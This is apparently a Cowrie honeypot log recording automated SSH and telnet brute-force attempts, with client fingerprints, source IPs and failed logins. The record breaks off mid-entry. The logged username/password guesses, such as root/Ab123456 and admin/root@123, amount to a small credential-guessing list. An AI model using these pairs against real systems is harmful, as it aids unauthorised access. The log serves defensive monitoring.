{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:01.047301Z","src_ip":"91.92.40.153","session":"4b0e448bec28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:01.816473Z","src_ip":"91.92.40.153","session":"4b0e448bec28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:03.139362Z","src_ip":"91.92.40.153","session":"4b0e448bec28","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:05.472597Z","src_ip":"139.99.74.35","session":"135bfe973a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:05.476062Z","src_ip":"139.99.74.35","session":"135bfe973a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":51178,"dst_ip":"10.17.0.5","dst_port":22,"session":"317bd8c631be","protocol":"ssh","message":"New connection: 91.92.40.153:51178 (10.17.0.5:22) [session: 317bd8c631be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:06.732665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:06.947725Z","src_ip":"91.92.40.153","session":"317bd8c631be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:06.960963Z","src_ip":"91.92.40.153","session":"317bd8c631be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:08.321028Z","src_ip":"91.92.40.153","session":"317bd8c631be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:09.970594Z","src_ip":"91.92.40.153","session":"317bd8c631be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48394,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d3c3cfd4bd","protocol":"ssh","message":"New connection: 91.92.40.153:48394 (10.17.0.5:22) [session: a0d3c3cfd4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:12.764384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:12.908084Z","src_ip":"91.92.40.153","session":"a0d3c3cfd4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:12.912118Z","src_ip":"91.92.40.153","session":"a0d3c3cfd4bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"1","message":"login attempt [cloud/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:14.127612Z","src_ip":"91.92.40.153","session":"a0d3c3cfd4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:15.289021Z","src_ip":"91.92.40.153","session":"a0d3c3cfd4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41650,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6d5c2e63df0","protocol":"ssh","message":"New connection: 160.187.174.22:41650 (159.203.135.109:22) [session: e6d5c2e63df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:16.640629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:16.646018Z","src_ip":"160.187.174.22","session":"e6d5c2e63df0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:16.888403Z","src_ip":"160.187.174.22","session":"e6d5c2e63df0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:17.600999Z","src_ip":"160.187.174.22","session":"e6d5c2e63df0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:18.840492Z","src_ip":"160.187.174.22","session":"e6d5c2e63df0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":48474,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcb35cad5533","protocol":"ssh","message":"New connection: 91.92.40.153:48474 (10.17.0.5:22) [session: dcb35cad5533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:19.118698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:19.177759Z","src_ip":"91.92.40.153","session":"dcb35cad5533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:19.251608Z","src_ip":"91.92.40.153","session":"dcb35cad5533","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"123456","message":"login attempt [dmdba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:19.751758Z","src_ip":"91.92.40.153","session":"dcb35cad5533","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:20.948135Z","src_ip":"91.92.40.153","session":"dcb35cad5533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47310,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd6dd967bf9","protocol":"ssh","message":"New connection: 91.92.40.153:47310 (10.17.0.5:22) [session: 9bd6dd967bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:25.008093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:25.030706Z","src_ip":"91.92.40.153","session":"9bd6dd967bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:25.122020Z","src_ip":"91.92.40.153","session":"9bd6dd967bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:25.480901Z","src_ip":"91.92.40.153","session":"9bd6dd967bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:26.742898Z","src_ip":"91.92.40.153","session":"9bd6dd967bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.116.158","src_port":51422,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ed72715ec1","protocol":"telnet","message":"New connection: 167.172.116.158:51422 (159.203.135.109:23) [session: 98ed72715ec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:28.560686Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":47390,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5543323372","protocol":"ssh","message":"New connection: 91.92.40.153:47390 (10.17.0.5:22) [session: 9e5543323372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:30.825923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:31.008336Z","src_ip":"91.92.40.153","session":"9e5543323372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:31.011781Z","src_ip":"91.92.40.153","session":"9e5543323372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"root@123","message":"login attempt [admin/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:31.296916Z","src_ip":"139.99.74.35","session":"135bfe973a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:32.083548Z","src_ip":"91.92.40.153","session":"9e5543323372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:33.634998Z","src_ip":"91.92.40.153","session":"9e5543323372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.58163022994995,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:34.158003Z","src_ip":"137.184.5.188","session":"b4d6c48adbbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":43050,"dst_ip":"10.17.0.5","dst_port":22,"session":"9af94d54c2e2","protocol":"ssh","message":"New connection: 91.92.40.153:43050 (10.17.0.5:22) [session: 9af94d54c2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:36.515096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:01:36.669284Z","src_ip":"91.92.40.153","session":"9af94d54c2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 